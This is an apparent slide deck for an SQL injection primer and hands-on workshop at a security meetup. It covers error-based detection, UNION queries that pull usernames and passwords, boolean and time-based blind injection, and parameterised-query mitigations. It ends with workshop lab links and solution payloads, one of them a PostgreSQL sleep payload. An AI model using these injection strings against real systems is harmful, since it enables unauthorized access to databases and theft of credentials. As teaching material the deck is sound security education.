SQL Injection

Primer & Workshop

$ whoami

@vortexau – vortex.id.au

Perpetual Noob.

Adelaide SecTalks co-organizer.

9–5: Pentester @ DXC Security.

8–12: Bug Bounty Hunter.

```
select topics from contents;
+------------------------+
| OWASP Top10            |
| Finding SQLi           |
| In-Band SQLi           |
| Blind SQLi             |
| Mitigation of SQLi     |
| Beer SQLi              |
| Workshop SQLi          |
+------------------------+
```

Owasp Top 10, 2017

A1

Injection

www.site.com/?id=1

select item, description fro[illegible]oducts where id = $_GET[‘id’]

[illegible]OOPS!!

www.site.com/?id=1+and+1=1

select item, description from products where id = 1 and 1=1

Finding SQLi

Finding SQL Injections.

site.com/products?id=1
select product, stockcount from products where id = 1

Enter a single quote, and see what happens.

site.com/products?id=1’
select product, stockcount from products where id = 1’

SQL Error displayed?
HTTP Response 500?
Item Not Found?

In-Band SQLi

In-band; where the results are returned in the response

site.com/products?id=1

select product, stockcount from products where id = 1

product	stockcount
Model Car	342

site.com/products?id=1+and+1=1

select product, stockcount from products where id = 1 or 1=1

product	stockcount
Model Car	342
Model Boat	43
Model Plane	542
Model Drone	43

In-Band SQLi

In-band; where the results are returned in the response

site.com/products?id=1+and+union+select+username,+password+from+users

```
select product, stockcount
from products where id = 1
and
union select username, password from users
```

```
+-----------------------------------+
| product          | stockcount     |
+-----------------------------------+
| Model Car        | 342            |
| vortex           | password1      |
| st0rm            | arch4lyfe      |
| jakob            | xssismybag     |
| jake             | 1337jake!      |
| josh             | notcasper      |
+-----------------------------------+
```

Blind SQLi

Boolean blind

Find the true/false condition
Useful when there is some visual feedback.

site.com/products?id=1+and+1=1 (TRUE)
site.com/products?id=1+and+1=2 (FALSE)

Use these conditions to extract information from the database.

site.com/products?id=1'+and+substr(user(),1,1)+=+'a

Blind SQLi

Time based blind

Used when there is no visual feedback.
Uses the true/false condition, by triggering a long wait for true, and false returns instantly.

site.com/products?id=1+and+if(mid(version(),1,1)+=+'5',+sleep(15),0)

Both Blind SQL techniques are quite slow to extract information.

Mitigation of SQLi

Parameterised Queries!

run_query('select username, password from users where id = ?', $username)

run_query('select username, password from users where id = :id:', $id)

Stored Procedures!

run_query('exec sp_get_user', @username)

```
select beer from frontbar;
```

```
select workshop, url from workshops;
+-------------------------------------+
| Home.           | sqli.uid0.sh/       |
| In Band         | sqli.uid0.sh/ib     |
| Bool Blind SQLi | sqli.uid0.sh/bblind |
| Time Blind SQLi | sqli.uid0.sh/tblind |
| ¯\_(ツ)_/¯      | sqli.uid0.sh/leet   |
+-------------------------------------+
```

select solutions from workshops;

Inband SQLi
Payload: 1 or 1=1 (Returns all rows)

Boolean Blind
Payload: 1 and 1=1 (TRUE), 1 and 1=2 (FALSE)
URL: Click Here

Timebased Blind
Payload: strpos((SELECT CASE WHEN 1=1 THEN pg_sleep(10) ELSE pg_sleep(0) END)::text, '1') > 0
URL: Click Here